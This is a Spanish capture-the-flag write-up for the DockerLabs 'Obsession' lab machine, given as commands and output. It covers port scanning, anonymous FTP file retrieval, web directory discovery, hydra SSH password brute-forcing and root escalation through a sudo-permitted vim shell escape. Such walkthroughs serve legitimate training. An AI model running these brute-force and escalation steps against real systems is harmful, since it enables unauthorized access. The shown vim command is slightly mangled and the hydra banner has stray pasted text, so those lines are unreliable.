

Liamm251

Obsession

Desplegamos máquina:

```
(kali㉿kali)-[~]  
$ sudo bash auto_deploy.sh obsession.tar  
[sudo] password for kali:  
  
      ##  
    ## ## ##  
  ## ## ## ##  
  ~~~{~~~~~}~~~~~}~~~~~ - ~~~  
        o  
  
DOCKERLABS
```

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es → 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Enumeración Nmap

```

(kali㉿kali)-[~]
$ sudo nmap -sVC -p- -T5 -sS -Pn -n --open 172.17.0.2
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 12:43 EDT
Nmap scan report for 172.17.0.2
Host is up (0.0000010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.5
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to ::ffff:172.17.0.1
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 3
|   vsFTPD 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_rw-r--r--  1 0      0      667 Jun 18  2024 chat-gonza.txt
|_rw-r--r--  1 0      0      315 Jun 18  2024 pendientes.txt
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 60:05:bd:a9:97:27:a5:ad:46:53:82:15:dd:d5:7a:dd (ECDSA)
|_  256 0e:07:e6:d4:3b:63:4e:77:62:0f:1a:17:69:91:85:ef (ED25519)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Russoski Coaching
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.23 seconds

```

FTP - Anonymous

```

(kali@kali)-[~]
$ ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPD 3.0.5)
Name (172.17.0.2:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||45553|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 667 Jun 18 2024 chat-gonza.txt
-rw-r--r-- 1 0 0 315 Jun 18 2024 pendientes.txt
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||18616|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 104 4096 Jun 18 2024 .
drwxr-xr-x 2 0 104 4096 Jun 18 2024 ..
-rw-r--r-- 1 0 0 667 Jun 18 2024 chat-gonza.txt
-rw-r--r-- 1 0 0 315 Jun 18 2024 pendientes.txt
226 Directory send OK.

```

```

ftp> get chat-gonza.txt
local: chat-gonza.txt remote: chat-gonza.txt
229 Entering Extended Passive Mode (|||13453|)
150 Opening BINARY mode data connection for chat-gonza.txt (667 bytes).
100% |*****| 667 156.76 KiB/s 00:00 ETA
226 Transfer complete.
667 bytes received in 00:00 (142.09 KiB/s)
ftp> get pendientes.txt
local: pendientes.txt remote: pendientes.txt
229 Entering Extended Passive Mode (|||19484|)
150 Opening BINARY mode data connection for pendientes.txt (315 bytes).
100% |*****| 315 98.59 KiB/s 00:00 ETA
226 Transfer complete.
315 bytes received in 00:00 (71.83 KiB/s)
ftp>

```

```

(kali@kali)-[~]
$ cat chat-gonza.txt
[16:21, 16/6/2024] Gonza: pero en serio es tan guapa esa tal Nágore como dices?
[16:28, 16/6/2024] Russoski: es una auténtica princesa pff, le he hecho hasta un video y todo, lo tengo ya subido y tengo la URL guardada
[16:29, 16/6/2024] Russoski: en mi ordenador en una ruta segura, ahora cuando quedemos te lo muestro si quieres
[21:52, 16/6/2024] Gonza: buah la verdad tenias razón eh, es hermosa esa chica, del 9 no baja
[21:53, 16/6/2024] Gonza: por cierto buen entreno el de hoy en el gym, noto los brazos bastante hinchados, así si
[22:36, 16/6/2024] Russoski: te lo dije, ya sabes que yo tengo buenos gustos para estas cosas xD, y si buen training hoy

```

Tenemos dos users

Y además:

```

(kali@kali)-[~]
$ cat pendientes.txt
1 Comprar el Voucher de la certificación eJPTv2 cuanto antes!
2 Aumentar el precio de mis asesorías online en la Web!
3 Terminar mi laboratorio vulnerable para la plataforma Dockerlabs!
4 Cambiar algunas configuraciones de mi equipo, creo que tengo ciertos permisos habilitados que no son del todo seguros..

```

Liamm251

Posible forma de escalar priv

HTTP ENUMERACIÓN:

```
(kali@kali)-[~/Downloads]
$ dirb http://172.17.0.2

DIRB v2.22
By The Dark Raver

START_TIME: Tue Jul  8 12:48:05 2025
URL_BASE: http://172.17.0.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— Scanning URL: http://172.17.0.2/ —
=> DIRECTORY: http://172.17.0.2/backup/
=> DIRECTORY: http://172.17.0.2/important/
+ http://172.17.0.2/index.html (CODE:200|SIZE:5208)
+ http://172.17.0.2/server-status (CODE:403|SIZE:275)

— Entering directory: http://172.17.0.2/backup/ —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

— Entering directory: http://172.17.0.2/important/ —
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Tue Jul  8 12:48:07 2025
DOWNLOADED: 4612 - FOUND: 2
```

```
172.17.0.2/backup/backup.txt

Usuario para todos mis servicios: russoski (cambiar pronto!)
```

Tenemos un user que usa en todos los servicios que era el mismo del ftp, entonces fuerza bruta:

```
(kali@kali)-[~/Downloads]
$ hydra -l russoski -P rockyou.txt 172.17.0.2 ssh

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (ignore laws and ethics anyway). dos mis servicios: russoski (cambiar pronto!)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-08 12:47:41
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: russoski password: iloveme
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-08 12:48:16
```

ESCALADO:

```
(kali@kali)-[~/Downloads]
$ ssh russoski@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:R8Zi0JN33rhfvGADBLwVQ1mPV7lSmGJACOhjdTB0wMQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
russoski@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Jun 18 04:38:10 2024 from 172.17.0.1
russoski@8c405e64aa26:~$ sudo -l
Matching Defaults entries for russoski on 8c405e64aa26:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User russoski may run the following commands on 8c405e64aa26:
    (root) NOPASSWD: /usr/bin/vim
russoski@8c405e64aa26:~$
```

Podemos usar vim entonces como sudo entonces buscamos en GTFObins:

Sudo

Si se permite que el binario se ejecute como superusuario `sudo`, no se pierden los privilegios elevados y se puede utilizar para acceder al sistema de archivos, escalar o mantener el acceso privilegiado.

(a) `sudo vim -c '!:bin/sh'`

```
(root) NOPASSWD: /usr/bin/vim
russoski@8c405e64aa26:~$ sudo vim -c '!:bin/sh'

# whoami
root
```

Y ya estaría